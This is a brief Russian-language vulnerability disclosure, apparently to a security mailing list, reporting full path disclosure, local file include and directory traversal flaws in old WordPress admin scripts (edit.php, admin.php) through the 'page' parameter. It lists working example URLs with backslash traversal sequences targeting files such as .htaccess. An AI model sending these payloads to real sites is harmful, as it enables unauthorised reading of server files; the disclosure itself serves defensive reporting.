Здравствуйте 3APA3A!
Сообщаю вам о найденной мною новых Local file include, Directory traversal и Full path disclosure уязвимостях в WordPress. Дыры в файлах edit.php и admin.php в параметре page
Full path disclosure:
http://site/wp-admin/edit.php?page=
http://site/wp-admin/admin.php?page=
Данные скрипты уязвимы к атаке с использованием обратного слеша (что работает только на Windows).
Local file include и Directory traversal:
http://site/wp-admin/edit.php?page=\..\..\file.php
http://site/wp-admin/edit.php?page=\..\..\.htaccess
http://site/wp-admin/admin.php?page=\..\..\file.php
http://site/wp-admin/admin.php?page=\..\..\.htaccess
Уязвимы версии WordPress <= 2.0.11 и потенциально последующие версии (2.1.x, 2.2.x и 2.3.x).
Дополнительная информация о данных уязвимостях у меня на сайте:
http://websecurity.com.ua/1683/
Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua